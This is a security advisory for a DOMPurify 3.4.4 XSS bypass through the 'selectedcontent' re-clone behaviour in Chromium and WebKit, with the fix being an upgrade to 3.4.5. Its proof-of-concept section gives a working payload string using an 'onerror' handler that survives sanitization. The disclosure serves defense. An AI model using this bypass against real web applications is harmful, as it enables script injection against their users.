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HIGH8.2

GHSA-87xg-pxx2-7hvx

DOMPurify XSS via selectedcontent re-clone

Quick fix

GHSA-87xg-pxx2-7hvx — dompurify: upgrade to the fixed version with the command below.

npm install dompurify@3.4.5

Details

### Summary DOMPurify 3.4.4 allows `selectedcontent` by default, allowing a chain in which browsers "re-clone" an XSS payload after sanitization, effectively bypassing DOMPurify.

### Details The chain is as follows: 1. The browser parses the input and creates a `<selectedcontent>` clone from the selected `<option>` 2. DOMPurify walks and sanitizes that generated clone. 3. DOMPurify reaches the original `<option>` and removes `selected=javascript:1` 4. The browser refreshes the `<selectedcontent>` clone from the original `option`'s content. 5. The refreshed clone is in a subtree DOMPurify already walked, which DOMPurify doesn't go back to sanitize 6. The returned string contains unsanitized markup inside `<selectedcontent>`.

### PoC ```js const dirty = '<select><button><selectedcontent></selectedcontent></button>' + '<option selected=javascript:1>' + '<img src=x onerror=alert(1)>x' + '</option></select>';

const clean = DOMPurify.sanitize(dirty); console.log(clean);

document.body.innerHTML = clean; ```

Observed "sanitized" output in Chromium 148/WebKit 625: ```html <select><button><selectedcontent><img src="x" onerror="alert(1)">x</selectedcontent></button><option><img src="x">x</option></select> ```

After reinsertion, the browser updates the live DOM and strips the handler from the displayed clone, but the `onerror` has already fired: ```html <select><button><selectedcontent><img src="x">x</selectedcontent></button><option><img src="x">x</option></select> ```

Reproduced in Chromium and WebKit, but not Safari (not yet latest WebKit) or Firefox. Will likely change with [browser support](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/selectedcontent) for `selectedcontent`.

### Impact This is a default-configuration DOMPurify sanitizer bypass resulting in XSS.

Applications are impacted if they sanitize attacker-controlled HTML with DOMPurify 3.4.4 using the string-input path and then insert the returned string into the page, for example with innerHTML.

Are you affected?

Enter the version of the package you're using.

Affected packages

npm/dompurify
Introduced in: 3.4.4Fixed in: 3.4.5
Fixnpm install dompurify@3.4.5

References